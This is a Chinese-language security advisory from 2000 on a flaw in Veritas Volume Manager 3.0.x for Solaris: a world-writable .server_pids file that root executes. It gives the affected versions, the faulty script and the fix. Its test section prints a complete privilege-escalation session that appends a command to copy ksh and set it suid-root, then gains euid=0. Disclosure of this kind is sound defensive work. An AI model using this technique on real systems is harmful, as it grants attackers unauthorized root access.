安全研究
安全漏洞
Veritas Volume Manager 3.0.x 文件属性设置不当漏洞
发布日期:2000-06-19
更新日期:2000-06-19
受影响系统:
不受影响系统:
Veritas Software Volume Manager 3.0.2/3.0.3/3.0.4
- Sun Solaris 7.0
- Sun Solaris 2.6
- Sun Solaris 2.5.1
描述:
Sun Solaris 8.0
Veritas Software Volume Manager 3.1 Beta
- Sun Solaris 8.0
- Sun Solaris 7.0
- Sun Solaris 2.6
- Sun Solaris 2.5.1
Volume Manager 是一个磁盘管理软件。所有运行在Solaris 8以下的Sun系统中的
Volume Manager都存在一个安全漏洞。
Volume Manager安装后会产生/etc/rc2.d/S96vmsa-server脚本,当系统启动时
这个脚本被执行,启动Volume Manager.当它执行时会在/var/opt/vmsa/logs目录
下创建一个.server_pids文件,由于这个脚本中没有设置umask,这样这个文件的
属性就被设置成了666,任何人都可以读写。
控制程序/opt/VRTSvmsa/bin/vmsa_server使用"-k"参数可以停止Volume Manager
服务,在停止服务之前会执行.server_pids文件,相应代码如下:
stop_server()
{
if [ -f $LOGDIR/.server_pids ];
then
echo "Stopping $CNAME Server"
/bin/ksh $LOGDIR/.server_pids >/dev/null 2>&1
rm -f $LOGDIR/.server_pids
else
echo "Unable to stop $CNAME Server"
fi
}
如果用户改变了.server_pids文件中的内容。就有可能以运行/opt/VRTSvmsa/
bin/vmsa_server的用户(通常是root)的身份执行任意命令。
这个控制脚本并不会在shutdown的时候自动运行,而只能被系统管理员手工运行。
Solaris 8不存在这个问题,因为在系统启动时设置了初始umask=022,这样产生的
.server_pids其他人是不能写的。
<* 来源: Dixie Flatline <echo8@WHIP.TWISTEDPAIR.CA> *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
foo@bar> id
uid=500(foo) gid=25(programmers)
foo@bar> ls -alt /var/opt/vmsa/logs/.server_pids
-rw-rw-rw- 1 root root 27 Jun 8 16:06 /var/opt/vmsa/logs/.server_pids
foo@bar> cat >> /var/opt/vmsa/logs/.server_pids
cp /bin/ksh /var/tmp; chmod 4755 /var/tmp/ksh
^D
foo@bar> cat /var/opt/vmsa/logs/.server_pids
kill 328
kill 329
kill 337
cp /bin/ksh /var/tmp; chmod 4755 /var/tmp/ksh
foo@bar>
# wait for root to stop the server manually
root@bar> /opt/VRTSvmsa/bin/vmsa_server -k
Stopping VERITAS VM Storage Administrator Server
root@bar> ls -alt /var/tmp
total 406
drwxrwxrwt 2 sys sys 512 Jun 8 17:46 .
-rwsr-xr-x 1 root other 192764 Jun 8 17:46 ksh
-rw------- 1 root root 387 Jun 8 17:46 wsconAAArqayVa:0.0
drwxr-xr-x 26 root sys 512 Jun 8 09:51 ..
# as an unprivileged user, run the suid-root shell we just created...
foo@bar> /var/tmp/ksh
# id
uid=500(foo) gid=25(programmers) euid=0(root)
#
建议:
Volume Manager 3.1 beta版已经解决了这个问题,请升级到相应版本。
临时解决办法:
在/etc/rc2.d/S96vmsa-server中增加"umask 022"语句,设置正确的缺省umask
浏览次数:7052
严重程度:0(网友投票)
绿盟科技给您安全的保障